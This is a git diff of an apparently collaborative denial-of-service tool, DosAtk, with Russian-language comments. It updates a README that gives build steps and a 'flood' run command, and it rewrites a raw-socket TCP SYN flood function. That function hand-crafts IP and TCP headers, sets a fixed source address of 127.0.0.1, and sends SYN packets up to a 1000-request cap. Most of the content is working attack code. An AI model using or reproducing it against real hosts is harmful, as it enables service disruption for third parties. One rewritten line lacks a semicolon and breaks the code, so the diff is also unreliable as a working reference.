diff --git a/README.md b/README.md index 66ed2fd..42b171d 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,9 @@ # Как жить? +Регаемся на данном сайте, форкаем либу, пушим в свой форк и создаём merge request. + ``` -git clone https://gitea.serafimdev.com/serafim/dos # Клонируем репозиторий +git clone https://gitea.serafimdev.com/serafim/dos # Клонируем репозиторий (замените на свой форк!) git checkout -b my_dns # Создаём ветку для реализации модуля my_dns git add * # Добавляем написанный код в комит git commit -m 'Написал код' # Комитим в локальную ветку @@ -9,9 +11,17 @@ git push origin my_dns # Пушим свою ветку в репозитори # Теперь в интерфейсе https://gitea.serafimdev.com/serafim/dos создаём пул реквест и пишем мне в тг ``` -Для компиляции: -g++ DosAtk.cpp -lcurl -Если ошибка отсутствия заголовочного файла "curl.h", то нужно установить: sudo apt-get install libcurl4-openssl-dev +# Компиляция + +Для компиляции: `./build.sh`, либо ручками: `g++ DosAtk.cpp -lcurl` +Если ошибка отсутствия заголовочного файла "curl.h", то нужно установить: `sudo apt-get install libcurl4-openssl-dev` + +# Запуск Пример запуска: -sudo ./DosAtk -a flood -i 127.0.0.1 -p 800 \ No newline at end of file + +``` +sudo ./DosAtk -a flood -i 127.0.0.1 -p 800 +``` +Запускается только на Линухе! + diff --git a/src/DosAtk.cpp b/src/DosAtk.cpp index b280166..e1a2037 100644 --- a/src/DosAtk.cpp +++ b/src/DosAtk.cpp @@ -363,53 +363,56 @@ int my_dns() return 0; } + unsigned short checksum(void *data, int len) { - // рассчёт чексуммы для пакета. получает пакет и возращает проверочную сумму - uint16_t *ptr = (uint16_t *)data; - unsigned long sum = 0; +/** + * Рассчитывает контрольную сумму для пакета (алгоритм RFC 1071) + * + * Параметры: + * data - указатель на данные пакета + * len - длина данных в байтах + * + * Возвращает: + * 16-битную инвертированную контрольную сумму + */ + // === Объявление локальных переменных === + uint16_t *ptr; // Указатель для чтения 16-битных слов + unsigned long sum; // Аккумулятор для суммы + uint8_t *byte_ptr; // Указатель для чтения одиночного байта + // === Инициализация переменных === + ptr = (uint16_t *)data; // Инициализируем указатель на данные + sum = 0; // Начальное значение суммы + // === Основная логика процедуры === + // Суммируем 16-битные слова while (len > 1) { - sum += *ptr++; - len -= 2; + sum += *ptr++; // Добавляем текущее слово и перемещаем указатель + len -= 2; // Уменьшаем счетчик оставшихся байт } - if (len == 1) { - uint8_t *byte_ptr = (uint8_t *)ptr; + if (len == 1) { // Если остался непарный байт, добавляем его в сумму + byte_ptr = (uint8_t *)ptr; sum += *byte_ptr; } - sum = (sum >> 16) + (sum & 0xFFFF); - return (unsigned short)(~sum); + sum = (sum >> 16) + (sum & 0xFFFF); // Сворачиваем 32-битную сумму в 16 бит (перенос + остаток) + return (unsigned short)(~sum); // Возвращаем инвертированную 16-битную сумму } void my_tcp_syn() { - /* * Отправляет TCP SYN запрос на указанный IP и порт - * - * Глобальные переменные: - * ip - IP адрес цели (строка) - * port - порт цели (строка) - * status - устанавливает статус выполнения: + * status: * 0 - запрос успешно отправлен (атака продолжается) * 2 - достигнуто максимальное количество запросов (1000) - * -201 - ошибка создания сокета для определения IP - * -202 - ошибка преобразования IP адреса - * -203 - ошибка соединения для определения IP - * -204 - ошибка получения локального IP (getsockname) - * -205 - ошибка создания raw-сокета - * -206 - ошибка отправки SYN-пакета - * n_ok_requests - счетчик успешных запросов - * n_fail_requests - счетчик неудачных запросов + * -201 - ошибка создания raw-сокета + * -202 - ошибка отправки SYN-пакета */ // === Объявление локальных переменных === - int route_sock; // Временный сокет для определения нашего IP int sock; // Основной raw-сокет для отправки пакетов int one; // Флаг для setsockopt // Структуры для адресов struct sockaddr_in target_addr; // Адрес цели - struct sockaddr_in src_addr; // Наш локальный адрес - socklen_t len; // Размер структуры адреса // Параметры подключения uint16_t target_port = 0; // Порт цели (в сетевом порядке байт) @@ -420,83 +423,48 @@ void my_tcp_syn() { // Псевдозаголовок для контрольной суммы struct { - uint32_t saddr; // Адрес отправителя - uint32_t daddr; // Адрес получателя - uint8_t zero; // Зарезервировано (0) - uint8_t protocol; // Протокол (TCP) - uint16_t tcp_len; // Длина TCP-сегмента + uint32_t saddr; + uint32_t daddr; + uint8_t zero; + uint8_t protocol; + uint16_t tcp_len; } pseudo_header; // Буферы данных char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Буфер для контрольной суммы char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет - char src_ip_str[INET_ADDRSTRLEN]; // Строковое представление IP // === Инициализация переменных === - route_sock = -1; sock = -1; one = 1; - len = sizeof(src_addr); - target_port = 0; - - // === Основная логика процедуры === target_port = htons(atoi(port.c_str())); - // 1. Создание временного сокета - if ((route_sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { - perror("Ошибка создания сокета для определения IP"); + // === Основная логика процедуры === + // 1. Создание raw-сокета + if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) { status = -201; return; } - // 2. Настройка адреса цели - memset(&target_addr, 0, sizeof(target_addr)); - target_addr.sin_family = AF_INET; - if (inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0) { - perror("Ошибка преобразования IP адреса"); - close(route_sock); - status = -202; - return; - } - - // 3. Установка соединения - if (connect(route_sock, (struct sockaddr *)&target_addr, sizeof(target_addr))) { - perror("Ошибка connect для определения IP"); - close(route_sock); - status = -203; - return; - } - - // 4. Получение локального IP - if (getsockname(route_sock, (struct sockaddr *)&src_addr, &len)) { - perror("Ошибка getsockname"); - close(route_sock); - status = -204; - return; - } - close(route_sock); - - // 5. Создание raw-сокета - if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) { - perror("Ошибка создания raw-сокета"); - status = -205; - return; - } - - // 6. Установка опции IP_HDRINCL + // 2. Установка опции IP_HDRINCL setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)); - // 7. Формирование IP заголовка + // 3. Настройка адреса цели + memset(&target_addr, 0, sizeof(target_addr)); + target_addr.sin_family = AF_INET; + inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0 + + // 4. Формирование IP заголовка memset(&ip_header, 0, sizeof(ip_header)); ip_header.ihl = 5; ip_header.version = 4; ip_header.tot_len = htons(sizeof(iphdr) + sizeof(tcphdr)); ip_header.ttl = 64; ip_header.protocol = IPPROTO_TCP; - ip_header.saddr = src_addr.sin_addr.s_addr; + ip_header.saddr = inet_addr("127.0.0.1"); ip_header.daddr = inet_addr(ip.c_str()); - // 8. Формирование TCP заголовка + // 5. Формирование TCP заголовка memset(&tcp_header, 0, sizeof(tcphdr)); tcp_header.source = htons(12345); tcp_header.dest = target_port; @@ -505,7 +473,7 @@ void my_tcp_syn() { tcp_header.syn = 1; tcp_header.window = htons(5840); - // 9. Расчет контрольной суммы + // 6. Расчет контрольной суммы pseudo_header = { .saddr = ip_header.saddr, .daddr = ip_header.daddr, @@ -517,29 +485,22 @@ void my_tcp_syn() { memcpy(temp_buf + sizeof(pseudo_header), &tcp_header, sizeof(tcphdr)); tcp_header.check = checksum(temp_buf, sizeof(temp_buf)); - // 10. Сборка пакета + // 7. Сборка пакета memcpy(packet, &ip_header, sizeof(iphdr)); memcpy(packet + sizeof(iphdr), &tcp_header, sizeof(tcphdr)); - // 11. Настройка адреса цели - memset(&target_addr, 0, sizeof(target_addr)); - target_addr.sin_family = AF_INET; - target_addr.sin_addr.s_addr = inet_addr(ip.c_str()); - - // 12. Отправка пакета + // 8. Отправка пакета if (sendto(sock, packet, sizeof(packet), 0, (struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) { n_fail_requests++; - } - else - { + status = -202; + } else { n_ok_requests++; + status = 0; } - // 13. Проверка завершения - status = 0; - if ((n_ok_requests + n_fail_requests) >= 1000) - { + // 9. Проверка завершения + if ((n_ok_requests + n_fail_requests) >= 1000) { status = 2; }